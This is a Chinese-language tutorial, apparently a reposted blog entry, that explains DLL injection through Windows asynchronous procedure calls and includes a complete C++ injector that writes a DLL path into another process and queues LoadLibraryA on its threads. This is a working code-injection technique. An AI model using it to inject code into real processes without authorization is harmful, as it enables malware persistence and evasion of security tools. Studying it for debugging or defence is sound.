您的位置:首页 > 其它

Dll注入技术之APC注入

2016-06-27 15:53 351 查看
APC注入的原理是利用当线程被唤醒时APC中的注册函数会被执行的机制,并以此去执行我们的DLL加载代码,进而完成DLL注入的目的,其具体流程如下:
1)当EXE里某个线程执行到SleepEx()或者WaitForSingleObjectEx()时,系统就会产生一个软中断。
2)当线程再次被唤醒时,此线程会首先执行APC队列中的被注册的函数。
3)利用QueueUserAPC()这个API可以在软中断时向线程的APC队列插入一个函数指针,如果我们插入的是Loadlibrary()执行函数的话,就能达到注入DLL的目的。
1.编写测试文件
新建MFC工程,添加按钮控件,双击写代码如下所示:
void CMfcTextApcInjectDlg::OnBnClickedSleepex()
{
// TODO: 在此添加控件通知处理程序代码
SleepEx(5000,TRUE);
}


摘自:windows编程循序渐进
异步过程调用是一种能在特定线程环境中异步执行的系统机制。往线程APC队列添加APC,系统会产生一个软中断。在线程下一次被调度的时候,就会执行APC函数,APC有两种形式,由系统产生的APC称为内核模式APC,由应用程序产生的APC被称为用户模式APC。
每个线程都拥有自己的APC队列。应用程序可以使用函数把APC添加到指定线程的APC队列,函数定义如下:
[cpp] view plain copy
DWORD WINAPI QueueUserAPC(
__in PAPCFUNC pfnAPC,//APC函数地址
__in HANDLE hThread,//目标线程
__in ULONG_PTR dwData//APC函数的参数
);
其中APC函数原型如下:
[cpp] view plain copy
VOID CALLBACK APCProc(
[in] ULONG_PTR dwParam
);

当用户模式APC被添加后,线程并不会直接调用APC函数,只有当线程处于“可变等待状态”时才会调用。如果希望线程执行APC函数,就要让线程进入可变等待状态。当线程调用SleepEx、SignalObjectAndWait、MsgWaitForMultipleObjectEx、WaitForMultipleObjectsEx或WaitForSingleObjectEx时就会进入可变等待状态。
ReadFileEx、WriteFileEx、和SetWaitableTimer等都是使用APC作为完成例程的回调机制。

原理:使用QueueUserAPC向目标进程的线程添加APC函数,而这个APC函数能够实现模块的加载功能。要使用这种方法的前提是目标进程能够进入可变等待状态,否则即便添加了APC也没有执行的机会
步骤:
1.向目标进程写入待注入的模块名称
2.枚举目标进程所有线程。(由于并不是每个线程都有机会进入可变等待状态,为了增加APC的机会,向目标进程的每个线程都添加APC是个比较保险的做法)
3.增加APC,把LoadLibrary作为APCProc,把第一步中DLL路径名称所在地址作为其参数
代码:
#define _WIN32_WINNT 0x0400
#include <windows.h>
#include <TlHelp32.h>

#include <iostream>
#include <string>
using namespace std;

#define DEF_BUF_SIZE 1024

// 用于存储注入模块DLL的路径全名
char szDllPath[DEF_BUF_SIZE] = { 0 };

// 使用APC机制向指定ID的进程注入模块
BOOL InjectModuleToProcessById(DWORD dwProcessId)
{
DWORD	dwRet = 0;
BOOL	bStatus = FALSE;
LPVOID	lpData = NULL;
UINT	uLen = strlen(szDllPath) + 1;
// 打开目标进程
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (hProcess)
{
// 分配空间
lpData = VirtualAllocEx(hProcess, NULL, uLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (lpData)
{
// 写入需要注入的模块路径全名
bStatus = WriteProcessMemory(hProcess, lpData, szDllPath, uLen, &dwRet);
}
CloseHandle(hProcess);
}

if (bStatus == FALSE)
return FALSE;

// 创建线程快照
THREADENTRY32 te32 = { sizeof(THREADENTRY32) };
HANDLE hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hThreadSnap == INVALID_HANDLE_VALUE)
return FALSE;

bStatus = FALSE;
// 枚举所有线程
if (Thread32First(hThreadSnap, &te32))
{
do{
// 判断是否目标进程中的线程
if (te32.th32OwnerProcessID == dwProcessId)
{
// 打开线程
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID);
if (hThread)
{
// 向指定线程添加APC
DWORD dwRet = QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)lpData);
if (dwRet > 0)
bStatus = TRUE;
CloseHandle(hThread);
break; //由于测试程序只有只有主线程,所以直接break掉
}
}

} while (Thread32Next(hThreadSnap, &te32));
}

CloseHandle(hThreadSnap);
return bStatus;
}

int main(void)
{

CopyMemory(szDllPath, "c:\\test.dll", ARRAYSIZE("c:\\test.dll"));
DWORD dwProcessId = 0;
while (cout << "请输入目标进程ID:" && cin >> dwProcessId && dwProcessId > 0)
{
BOOL bRet = InjectModuleToProcessById(dwProcessId);
cout << (bRet ? "注入成功!" : "注入失败!") << endl;
}
return 0;
}
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: